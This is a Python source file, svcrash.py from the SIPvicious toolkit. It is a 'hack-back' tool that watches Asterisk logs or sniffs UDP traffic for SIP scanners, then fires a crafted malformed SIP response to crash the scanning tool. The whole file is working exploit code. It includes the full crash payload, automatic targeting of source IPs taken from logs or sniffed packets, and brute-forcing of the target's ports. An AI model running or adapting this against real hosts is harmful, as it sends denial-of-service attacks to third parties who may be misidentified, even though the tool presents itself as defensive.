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svcrash.py
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svcrash.py
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#!/usr/bin/env python
# svcrash.py - SIPvicious crash breaks svwar and svcrack
__GPL__ = """
Sipvicious crash exploits a bug in svwar/svcrack.py to stop unauthorized
scans from flooding the network.
Copyright (C) 2012 Sandro Gauci <sandro@enablesecurity.com>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
from libs.svhelper import __author__, __version__
__prog__ = 'svcrash'
import warnings
warnings.filterwarnings("ignore")
import socket
import select
import random
import logging
import sys
import optparse
import time
import re
import os.path
scapyversion = 0
try:
from scapy.all import *
scapyversion = 2
except ImportError:
pass
try:
from scapy import *
scapyversion = 1
except ImportError:
pass
def getArgs():
parser = optparse.OptionParser(usage="%prog [options]",version="%prog v"+str(__version__)+__GPL__)
parser.add_option('--auto',help="Automatically send responses to attacks",
dest="auto",default=False, action="store_true",)
parser.add_option('--astlog',help="Path for the asterisk full logfile",
dest="astlog")
parser.add_option('-d',help="specify attacker's ip address", dest="ipaddr",
)
parser.add_option('-p',help="specify attacker's port", dest="port",
type="int",default=5060
)
parser.add_option('-b',help="bruteforce the attacker's port", dest="bruteforceport",
default=False, action="store_true")
(options, args) = parser.parse_args()
if not (options.auto or options.astlog):
if not options.ipaddr:
parser.error("When auto or astlog is not specified, you need to pass an IP address")
elif options.auto:
if scapyversion == 0:
parser.error("You need to install scapy from http://www.secdev.org/projects/scapy/")
elif options.astlog:
if not os.path.exists(options.astlog):
parser.error("Could not read %s" % options.astlog)
if (scapyversion == 0) or not (options.auto):
try:
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(('0.0.0.0',5060))
except socket.error:
parser.error("You either need have port 5060 available or install scapy from http://www.secdev.org/projects/scapy/")
return options,args
class asteriskreadlognsend:
def __init__(self,logfn):
self.logfn = logfn
self.lastsent = 30
self.matchcount = 0
self.log = None
def checkfile(self):
if (self.log is None) or (self.origlogsize > os.path.getsize(self.logfn)):
self.log = open(self.logfn,'r')
self.origlogsize = os.path.getsize(self.logfn)
self.log.seek(self.origlogsize)
def findfailures(self):
self.checkfile()
buff = self.log.readline()
if len(buff) == 0:
time.sleep(1)
return
if time.time() - self.lastsent <= 2:
return
match = re.search("Registration from '(.*?)' failed for '(.*?)' - (No matching peer found|Wrong password)",buff)
if match:
self.matchcount += 1
if self.matchcount > 6:
self.matchcount = 0
return match.group(2)
else:
#time.sleep(1)
return
def start(self):
try:
while 1:
ipaddr = self.findfailures()
if ipaddr:
for i in xrange(5060,5080):
if scapyversion > 0:
sendattack2(ipaddr,i)
else:
sendattack(ipaddr,i)
except KeyboardInterrupt:
return
class sniffnsend:
def __init__(self,port=5060):
self.port = port
self.lastsent = 30
self.mytimer = dict()
def checknsend(self,pkt):
data = str(pkt.getlayer(Raw))
ipaddr = pkt.getlayer(IP).src
port = pkt.getlayer(UDP).sport
src = ipaddr,port
if not src in self.mytimer:
#print "add %s:%s" % src
self.mytimer[src] = time.time() - 2
if time.time() - self.mytimer[src] > 2:
if time.time() - self.lastsent > 0.5:
if ('User-Agent: friendly-scanner' in data) or \
('User-Agent: Asterisk PBX' in data and 'CSeq: 1 REGISTER' in data):
if 'REGISTER ' in data:
#print data
self.lastsent = time.time()
self.mytimer[src] = time.time()
sendattack2(ipaddr,port)
if len(self.mytimer) > 0:
for src in self.mytimer.keys():
if time.time() - self.mytimer[src] > 10:
#print "del %s:%s:%s" % (str(src),time.time(),self.mytimer[src])
del(self.mytimer[src])
def start(self):
try:
sniff(prn=self.checknsend,filter="udp port %s" % self.port, store=0)
except KeyboardInterrupt:
print "goodbye"
crashmsg='SIP/2.0 200 OK\r\nVia: SIP/2.0/UDP 8.7.6.5:5061;bran'
crashmsg+='ch=z9hG4bK-573841574;rport\r\n\r\nContent-length: 0\r\nFrom: '
crashmsg+='"100"<sip:100@localhost>; tag=683a653a7901746865726501627965\r\nUs'
crashmsg+='er-agent: Telkom Box 2.4\r\nTo: "100"<sip:100@localhost>\r\nCse'
crashmsg+='q: 1 REGISTER\r\nCall-id: 469585712\r\nMax-forwards: 70\r\n\r\n'
def sendattack(ipaddr,port):
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(('0.0.0.0',5060))
dst=ipaddr,port
s.sendto(crashmsg,dst)
sys.stdout.write("Attacking back %s:%s\r\n" % (ipaddr,port))
s.close()
def sendattack2(ipaddr,port):
packet = IP(dst=ipaddr)/UDP(sport=5060,dport=port)/crashmsg
sys.stdout.write("Attacking back %s:%s\r\n" % (ipaddr,port))
send(packet,verbose=0)
if __name__ == "__main__":
options,args = getArgs()
if options.auto:
sns = sniffnsend()
sns.start()
elif options.astlog:
ast=asteriskreadlognsend(options.astlog)
ast.start()
elif options.bruteforceport:
for port in xrange(5060,5090):
sendattack(options.ipaddr,port)
else:
sendattack(options.ipaddr,options.port)